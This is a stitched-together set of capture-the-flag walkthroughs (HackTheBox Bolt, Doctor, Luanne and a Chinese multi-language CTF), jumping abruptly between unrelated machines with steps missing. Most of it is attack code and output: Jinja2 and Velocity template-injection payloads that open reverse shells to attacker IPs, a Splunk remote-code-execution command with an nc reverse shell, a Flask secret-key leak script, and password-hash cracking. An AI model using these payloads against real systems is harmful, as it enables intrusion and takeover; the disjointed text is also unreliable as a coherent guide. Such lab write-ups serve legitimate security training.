$ ls -la total 64 drwxr-xr-x 13 kali kali 4096 Sep 27 08:14 . drwxr-xr-x 3 kali kali 4096 Sep 28 06:12 .. drwxr-xr-x 3 kali kali 4096 Sep 27 09:03 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950 drwxr-xr-x 3 kali kali 4096 Sep 27 09:00 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c drwxr-xr-x 3 kali kali 4096 Sep 27 10:14 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa drwxr-xr-x 3 kali kali 4096 Sep 27 10:15 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab drwxr-xr-x 3 kali kali 4096 Sep 27 10:16 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162 drwxr-xr-x 3 kali kali 4096 Sep 27 10:13 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b drwxr-xr-x 4 kali kali 4096 Sep 27 10:16 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad drwxr-xr-x 3 kali kali 4096 Sep 27 10:15 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf -rw-r--r-- 1 kali kali 3797 Mar 5 2021 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json drwxr-xr-x 3 kali kali 4096 Sep 27 10:13 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77 drwxr-xr-x 3 kali kali 4096 Sep 27 09:08 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 drwxr-xr-x 2 kali kali 4096 Mar 5 2021 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26 -rw-r--r-- 1 kali kali 1002 Jan 1 1970 manifest.json -rw-r--r-- 1 kali kali 119 Jan 1 1970 repositories
In one of the directory, we will find a database file.
1 2 3 4 5 6 7 8
$ ls -la a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/ total 36 drwxr-xr-x 4 kali kali 4096 Sep 27 09:16 . drwxr-xr-x 3 kali kali 4096 Sep 27 09:08 .. -rw-r--r-- 1 kali kali 16384 Mar 5 2021 db.sqlite3 -rw-r--r-- 1 kali kali 35 Sep 27 09:16 hash drwx------ 2 kali kali 4096 Mar 5 2021 root drwxrwxrwt 2 kali kali 4096 Mar 5 2021 tmp
Let’s dump tables from the DB.
1 2 3 4 5 6 7
$ sqlite3 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer/db.sqlite3 SQLite version 3.36.0 2021-06-18 18:36:39 Enter ".help"for usage hints. sqlite> .table User sqlite> select * from user; 1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
We got credentials, but the password is stored in hash. Let’s crack it.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/bolt] └─# john hash_admin --wordlist=/usr/share/wordlists/rockyou.txt Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status deadbolt (?) 1g 0:00:00:00 DONE (2021-09-29 12:24) 1.639g/s 283278p/s 283278c/s 283278C/s doida..curtis13 Use the "--show" option to display all of the cracked passwords reliably Session completed
We got the password. Let’s login.
We are on admin dashboard, let’s look around for any hints.
In direct chat, they are talking about other platform. Let’s find the virtual hosts.
We got two more virtual hosts, let’s add them to our hosts file and access.
Both vhost’s have login page, and our earlier admin credentials didn’t work them. Let’s create a new user on ‘demo’ vhost.
To create a new account on ‘demo’ vhost, need to have invite code (as mentioned in direct chat). We can find invite code in downloaded data from the server.
1 2 3 4 5
$ grep -iR -A 2 'invite_code' 2>/dev/null 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py: code = request.form['invite_code'] 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py- if code != 'XNSS-HSJW-3NGU-8XTJ':
We have invite code now, let’s register a new account and login.
Using these credentials, we can also login on ‘mail’ vhost.
The footer of ‘demo’ dashboard displays that, the server is using ‘Flask’.
We can try SSTI on profile name.
Once you submit the profile name with SSTI payload, it will send a confirmation email. We need to confirm it.
After confirmation, nothing will happen on dashboard, but you will receive another mail with confirmed name.
As you can see, the name is “16”, this is a proof that SSTI is possible on the sever side. Let’s perform code execution.
I have highlighted the bash one-liner, initially it failed when I used ‘bash’, rather than using absolute path. Setup a listener, confirm the name change from ‘mail’ vhost and check your listener.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/bolt] └─# nc -lvp 4433 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4433 Ncat: Listening on 0.0.0.0:4433 Ncat: Connection from 10.10.11.114. Ncat: Connection from 10.10.11.114:34804. bash: cannot set terminal process group (1007): Inappropriate ioctl for device bash: no job control in this shell www-data@bolt:~/demo$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@bolt:~/demo$ whoami whoami www-data www-data@bolt:~/demo$ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")'
We got service account access, now we need to elevate the privileges to user account. Let’s look for user account.
www-data@bolt:/etc/passbolt$ cat passbolt.php cat passbolt.php <?php /** * Passbolt ~ Open source password manager for teams * Copyright (c) Passbolt SA (https://www.passbolt.com) * * Licensed under GNU Affero General Public License version 3 of the or any later version. * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) Passbolt SA (https://www.passbolt.com) * @license https://opensource.org/licenses/AGPL-3.0 AGPL License * @link https://www.passbolt.com Passbolt(tm) * @since 2.0.0 */ /** * PASSBOLT CONFIGURATION FILE * * This is a generated configuration file, which was generated by the passbolt web installer. * * To see all available options, you can refer to the default.php file, or replace this file * by a copy of passbolt.default.php * Do not modify default.php or you may break your upgrade process. * * Read more about how to install passbolt: https://www.passbolt.com/help/tech/install * Any issue, check out our FAQ: https://www.passbolt.com/faq * An installation issue? Ask forhelp to the community: https://community.passbolt.com/ */ return [ 'App' => [ // A base URL to use for absolute links. // The url where the passbolt instance will be reachable to your end users. // This information is need to render images in emails for example 'fullBaseUrl' => 'https://passbolt.bolt.htb', ],
mysql> describe secrets; +-------------+------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------------+------------+------+-----+---------+-------+ | id | char(36) | NO | PRI | NULL | | | user_id | char(36) | NO | MUL | NULL | | | resource_id | char(36) | NO | MUL | NULL | | | data | mediumtext | NO | | NULL | | | created | datetime | NO | | NULL | | | modified | datetime | NO | | NULL | | +-------------+------------+------+-----+---------+-------+ 6 rows inset (0.00 sec) mysql> select data from secrets; -----BEGIN PGP MESSAGE----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7 FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6 TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984 =P38i -----END PGP MESSAGE-----
Without private key we can’t decrypt this message, save this message on your Kali Linux. Let’s try to login using this DB password for ‘eddie’ user.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
www-data@bolt:/etc/passbolt$ su eddie su eddie Password: rT2;jW7<eY8!dX8}pQ8%
eddie@bolt:/etc/passbolt$ id id uid=1000(eddie) gid=1000(eddie) groups=1000(eddie) eddie@bolt:/etc/passbolt$ whoami whoami eddie eddie@bolt:/etc/passbolt$ cd ~ cd ~ eddie@bolt:~$ cat user.txt cat user.txt 408648311441ce2f4763d74bff326fef
and we got the user flag……
Privilege Escalation - Root
Linpeas reveled couple of things like main and private ssh key’s.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files ----SNIP---- /var/mail/eddie ----SNIP---- ══╣ Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/ 3.0.5_0/index.min.js /home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/ 3.0.5_0/vendors/openpgp.js /home/eddie/.config/google-chrome/Default/Local Extension Settings/ didegimhafipceonhjepacocaffmoppf/000003.log
Let’s read mail and then look for SSH private keys.
eddie@bolt:~$ cat /var/mail/eddie cat /var/mail/eddie From clark@bolt.htb Thu Feb 25 14:20:19 2021 Return-Path: <clark@bolt.htb> X-Original-To: eddie@bolt.htb Delivered-To: eddie@bolt.htb Received: by bolt.htb (Postfix, from userid 1001) id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST) Subject: Important! To: <eddie@bolt.htb> X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <20210225212019.DFF264CD@bolt.htb> Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST) From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account. Once you are set up you can start importing your passwords. Please be sure to keep good security in mind - there is a few things I read about in a security whitepaper that are a little concerning...
-Clark
Clark user has sent a mail to eddie, and telling about password management server and telling him to take backup of private key. If we look into log file, we’d find private key.
Copy the whole PGP Private Key and remove the ‘\r\n’ character, those are line breaks. Remove those characters but keep the “line-break”, and save it on Kali Linux. We need to extract the passphrase from the private key. First we need to convert the private key to hash format.
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hashtype"gpg", but the string is also recognized as "gpg-opencl" Use the "--format=gpg-opencl" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 16777216 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:27 0.00% (ETA: 2021-10-06 13:00) 0g/s 27.58p/s 27.58c/s 27.58C/s caroline 0g 0:00:09:21 0.09% (ETA: 2021-10-06 04:32) 0g/s 27.82p/s 27.82c/s 27.82C/s xxxxxxxxxx 0g 0:00:12:24 0.12% (ETA: 2021-10-06 03:55) 0g/s 27.93p/s 27.93c/s 27.93C/s january12 0g 0:00:17:20 0.17% (ETA: 2021-10-06 03:40) 0g/s 28.03p/s 28.03c/s 28.03C/s thuggin 0g 0:00:22:38 0.22% (ETA: 2021-10-06 03:31) 0g/s 28.07p/s 28.07c/s 28.07C/s upgrade 0g 0:00:24:51 0.24% (ETA: 2021-10-06 03:19) 0g/s 28.10p/s 28.10c/s 28.10C/s megan13 merrychristmas (Eddie Johnson) 1g 0:00:25:24 DONE (2021-09-29 00:23) 0.000656g/s 28.10p/s 28.10c/s 28.10C/s merrychristmas Use the "--show" option to display all of the cracked passwords reliably Session completed
It took 25 minutes to crack it. We got the passphrase for the private key. Now, let’s try to decrypt the encrypted message which we got from ‘passbolt’ database. But first, we need to import the public and private key of ‘Eddie’ user.
root@kali:~/hackthebox/machine/doctor# nmap -sV -v -p- --min-rate=10000 10.10.10.209 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8089/tcp open ssl/http Splunkd httpd
on port 80, find a subdomain
1 2
Send us a message info@doctors.htb
add this to our /etc/hosts file. Now let’s go to doctors.htb
a login page. Try some sql injections
But nothing is working. now Registe ourself and try to login then
So its show nothing, Lets check theSource Code
1 2 3
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>--> </div> <!-- Navbar Right Side -->
This seems to be some link /archive let’s go to that page and see what’s on that
Hmmm, Blank Page
Let’s, try to submit a new message
Let’s, try first simple html H1 tag
1 2 3 4 5
title <h1>hello</h1>
content <h1>hello</h1>
It accept this html h1 tag but were we got the response of that.
Let’s check on that /archive page .
But still it’s blank. Let’s check the source code of that page.
{% for x in ().__class__.__base__.__subclasses__() %}{% if"warning"in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.7\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
Let’s go to the /archivePage But First start a netcat lisner on 9001 port
It’s reloding, let’s check our netcat lisner.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~/hackthebox/machine/doctor# nc -lvp 9001 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.209. Ncat: Connection from 10.10.10.209:34444. bash: cannot set terminal process group (832): Inappropriate ioctl for device bash: no job control in this shell web@doctor:~$ id id uid=1001(web) gid=1001(web) groups=1001(web),4(adm) web@doctor:~$ whoami whoami web
hmm, We find something interesting thing in /var/log/apache2/
In the /var/log/apache2/ directory there is a file called backup. Let’s check there is any password or anything interesting in That.
root@kali:~/hackthebox/machine/doctor# python PySplunkWhisperer2_remote.py --lhost 10.10.14.7 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/luci11;mkfifo /tmp/luci11;cat /tmp/luci11|/bin/sh -i 2>&1|nc 10.10.14.7 5555 >/tmp/luci11"' /usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release. from cryptography import x509 Running in remote mode (Remote Code Execution) [.] Authenticating... [+] Authenticated [.] Creating malicious app bundle... [+] Created malicious app bundle in: /tmp/tmpiRqdZO.tar [+] Started HTTP server for remote mode [.] Installing app from: http://10.10.14.7:8181/ 10.10.10.209 - - [29/Sep/2020 13:45:08] "GET / HTTP/1.1" 200 - [+] App installed, your code should be running now!
root@kali:~/hackthebox/machine/doctor# nc -lvp 5555 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.10.209. Ncat: Connection from 10.10.10.209:48386. /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # whoami root # ls bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var # cd /root # ls root.txt # cat root.txt 316ae3165720f8c125e259d7a3290c85
Summary of knowledge
Server Side Template Injection
Jinja2 Basic injection
Exploit the SSTI by writing an evil config file
password leaked in /var/log/apache2/backup
Splunk Universal Forwarder (UF) misconfigurations
use PySplunkWhisperer2_remote.py to get root shell
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.218 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) 80/tcp open http nginx 1.19.0 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# nmap -sV -sC -v -p 22,80,9001 10.10.10.218 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) | ssh-hostkey: | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-methods: |_ Supported Methods: GET HEAD POST | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Port-80
They asking us for a username and Password.
If we see in our nmap result they tell us about robots.txt.
Let’s check out that quickly
1 2
User-agent: * Disallow: /weather #returning 404 but still harvesting cities
There is a one directory called /weather in the disallow entries.
Let’s check that directory.
Hmm they said 404 not found.
Let’s use gobuster to find inside /weather directory.
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# john -w=/usr/share/wordlists/rockyou.txt hash Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status iamthebest (?) 1g 0:00:00:00 DONE (2020-12-04 02:01) 7.142g/s 21942p/s 21942c/s 21942C/s my3kids..ANTHONY Use the "--show" option to display all of the cracked passwords reliably Session completed
And we got the password for webapi_user:iamthebest.
There is a port called 3001 that run in the localhost Let’s check this real quick.
1 2 3 4 5 6 7 8 9 10 11 12
$ nc 127.0.0.1 3001 cat /etc/passwd HTTP/0.9 404 Not Found Content-Type: text/html Content-Length: 217 Server: bozohttpd/20190228
<html><head><title>404 Not Found</title></head> <body><h1>404 Not Found</h1> /etc/passwd: <pre>This item has not been found</pre> <hr><address><a href="//luanne.htb:3001/">luanne.htb:3001</a></address> </body></html>
Let’s curl that web server inside the machiene.
1 2 3 4 5 6 7 8 9
$ curl http://127.0.0.1:3000/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500 <html><head><title>401 Unauthorized</title></head> <body><h1>401 Unauthorized</h1> /: <pre>No authorization</pre> <hr><address><a href="//127.0.0.1:3000/">127.0.0.1:3000</a></address> </body></html>
It said Unauthorized Let’s try those credentials which we cracked.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 386 100 386 0 0 125k 0 --:--:-- --:--:-- --:--:-- 125k <!doctype html> <html> <head> <title>Index</title> </head> <body> <p><h3>Weather Forecast API</h3></p> <p><h4>List available cities:</h4></p> <a href="/weather/forecast?city=list">/weather/forecast?city=list</a> <p><h4>Five day forecast (London)</h4></p> <a href="/weather/forecast?city=London">/weather/forecast?city=London</a> <hr> </body> </html>
After some hit and try i find a way to get id_rsa file.
First Let’s check /etc/passwd file which user has in the box.
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# chmod 600 id_rsa ┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# ssh -i id_rsa r.michaels@10.10.10.218 The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established. ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts. Last login: Fri Sep 18 07:06:51 2020 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 Welcome to NetBSD! luanne$ id uid=1000(r.michaels) gid=100(users) groups=100(users) luanne$ whoami r.michaels luanne$ ls backups devel public_html user.txt luanne$ cat user.txt ea5f0ce6a917b0be1eabc7f9218febc0
and we got user.txt
Now let me explain why ~r.michaels/.ssh/id_rsa is not work.
If we see the r.michaels home directory there is a folder called public_html and inside this there is a id_rsa file
So this folder is shared through web so we can access the public_html folder.
1 2 3 4 5
luanne$ ls backups devel public_html user.txt luanne$ cd public_html/ luanne$ ls id_rsa
Privilege escalation
I found an interesting file called devel_backup-2020-09-16.tar.gz.enc inside backups on r.michaels directory.
1 2 3 4
luanne$ pwd /home/r.michaels/backups luanne$ ls devel_backup-2020-09-16.tar.gz.enc
But it’s a .enc file so we can’t extract it with tar -xf.
After some google search i found a way to extract the file of .enc.
luanne$ cd /tmp luanne$ ls devel_backup-2020-09-16.tar.gz luanne$ tar -xf devel_backup-2020-09-16.tar.gz luanne$ ls devel-2020-09-16 devel_backup-2020-09-16.tar.gz luanne$ cd devel-2020-09-16 luanne$ ls webapi www luanne$ cd www luanne$ ls index.html luanne$ ls -la total 32 drwxr-xr-x 2 r.michaels wheel 96 Sep 16 15:03 . drwxr-x--- 4 r.michaels wheel 96 Sep 16 15:02 .. -rw-r--r-- 1 r.michaels wheel 47 Sep 16 18:14 .htpasswd -rw-r--r-- 1 r.michaels wheel 378 Sep 16 15:03 index.html luanne$ cat .htpasswd webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
We got another hash but this is different from previous hash.
1
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Let’s try to crack this hash with john.
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root💀kali)-[~/hackthebox/machine/luanne] └─# john -w=/usr/share/wordlists/rockyou.txt hash1 Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status littlebear (?) 1g 0:00:00:00 DONE (2020-12-04 02:24) 16.66g/s 217600p/s 217600c/s 217600C/s jayar..hello11 Use the "--show" option to display all of the cracked passwords reliably Session completed
and we got the pass
1
webapi_user:littlebear
We got the password littlebear
But the problem is we cant change the user because sudo is not working.
After some google search i found the way to switch the user to root.
doas — execute commands as another user
1 2 3 4 5 6 7 8 9 10 11
luanne$ doas -u root /bin/sh Password: sh: Cannot determine current working directory # id uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) # whoami root # pwd pwd: getcwd() failed: No such file or directory # cat /root/root.txt 7a9b5c206e8e8ba09bb99bd113675f66
root@vsdfva:~# nc -lvp 2333 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 39.105.23.123. Ncat: Connection from 39.105.23.123:33464. bash: cannot set terminal process group (23): Inappropriate ioctl for device bash: no job control in this shell php@engine-1:/web/php$ id id uid=1000(php) gid=1000(php) groups=1000(php) php@engine-1:/web/php$ whoami whoami php php@engine-1:/web/php$ cd cd php@engine-1:/$ ls ls bin boot dev etc home java_flag lib lib64 media mnt opt php_flag proc python_flag root run sbin srv sys tmp usr var web php@engine-1:/$ cat php_flag cat php_flag flag{bae9466f-
GET /?username=%23set($e%3d"e")%0a%23set($j%3d"jav")%0a%23set($a%3d"a.lang.Ru")%0a%23set($R%3d"ntime")%0a%23set($g%3d"getR")%0a%23set($t%3d"untime")%0a$e.getClass().forName($j.concat($a).concat($R)).getDeclaredMethod($g.concat($t),null).invoke(null,null).exec("bash+-c+{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL1tJUF0vMjMzNCAwPiYx}|{base64,-d}|{bash,-i}") HTTP/1.1
root@vsdfva:~# nc -lvp 2335 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::2335 Ncat: Listening on 0.0.0.0:2335 Ncat: Connection from 39.105.23.123. Ncat: Connection from 39.105.23.123:5189. bash: cannot set terminal process group (20): Inappropriate ioctl for device bash: no job control in this shell java@engine-1:/web/java$ id id uid=1001(java) gid=1001(java) groups=1001(java) java@engine-1:/web/java$ whoami whoami java java@engine-1:/web/java$ cd cd java@engine-1:/$ ls ls bin boot dev etc home java_flag lib lib64 media mnt opt php_flag proc python_flag root run sbin srv sys tmp usr var web java@engine-1:/$ cat java_flag cat java_flag -286016a38d37}
import requests #leak.py url="http://127.0.0.1:8888/" code="-0123456789abcdef" f="" for x in range(12): cut = (11-x)*'-config.JSON_SORT_KEYS' leak_temp = "{{config.SECRET_KEY[config.JSONIFY_MIMETYPE.index(config.APPLICATION_ROOT)"+cut+"]}}" for y in code: text=requests.get(url,params={"username":leak_temp}).text #print(text) if">404<"in text: pass else: requests.get(url,params={"username":y+"code"}) f+=y print(f) break
GET /?username={{(cycler[session.cs]|attr(session.bs))[session.sub]()[session.num][session.it][session.gb][session.bt][session.el](session.cmd)}} HTTP/1.1 Host: eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://eci-2ze1odj66lcxmtnazvds.cloudeci1.ichunqiu.com:8888/ Cookie: session=.eJxNjksOgzAMRK-CvAEkVNplWfQqlhPSNJLzETFIVdW7NySbrux5Ho_9AZVhAURF2SDCBEqa3h2LC7ky7dcKnU9xE8Shj7kfLykmE4Zek3RzessrBnwy2e7RzeLTPyrmzdA6jGdYO6iZcks3XIA5iEtvVR1ajoq4jV17yAUnVYfdw3K7XyfIe3OXWtPMufD9AWlxRE4.YeUSkg.eQa-eOVhzeIDLVP7JoCIx8MbjWw Upgrade-Insecure-Requests: 1
现在可以通过java的shell读取python_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
java@engine-1:/tmp$ ls -la ls -la total 36 drwxrwxrwt 1 root root 4096 Jan 17 06:58 . drwxr-xr-x 1 root root 4096 Jan 17 06:30 .. drwxr-xr-x 2 java java 4096 Jan 17 06:36 hsperfdata_java -rwxrwxrwx 1 java java 621 Jan 17 06:49 leak.py -rw-rw-r-- 1 java java 0 Jan 17 06:46 leak.pyICBmKz15 drwxrwxr-x 3 java java 4096 Jan 17 06:46 leakp -rw-rw-r-- 1 python python 15 Jan 17 06:58 python_flag -rwxrwxrwx 1 php php 233 Jan 17 06:32 rev.py -rw-rw-r-- 1 java java 521 Jan 17 06:54 sessions.py -rw-rw-r-- 1 java java 0 Jan 17 06:53 sessions.pyaW50KHNlc3Npb25fc2VyaWFsaXplci5kdW1wcyhhKSkKCmluZGV4KCk= drwxrwxr-x 3 java java 4096 Jan 17 06:31 tomcat.6008644274358516175.8080 java@engine-1:/tmp$ cat python_flag cat python_flag 480b-45a9-9e51
将三个flag拼接起来可以得到最后的flag
1
flag{bae9466f-480b-45a9-9e51-286016a38d37}
签名会话、模板与 XML
SQL 查询参数的签名处理需要与注入工具协调;Flask/Jinja2 和 XML 解析形成后续两段。原文保留 sqlmap eval 与 XXE 文件读取。
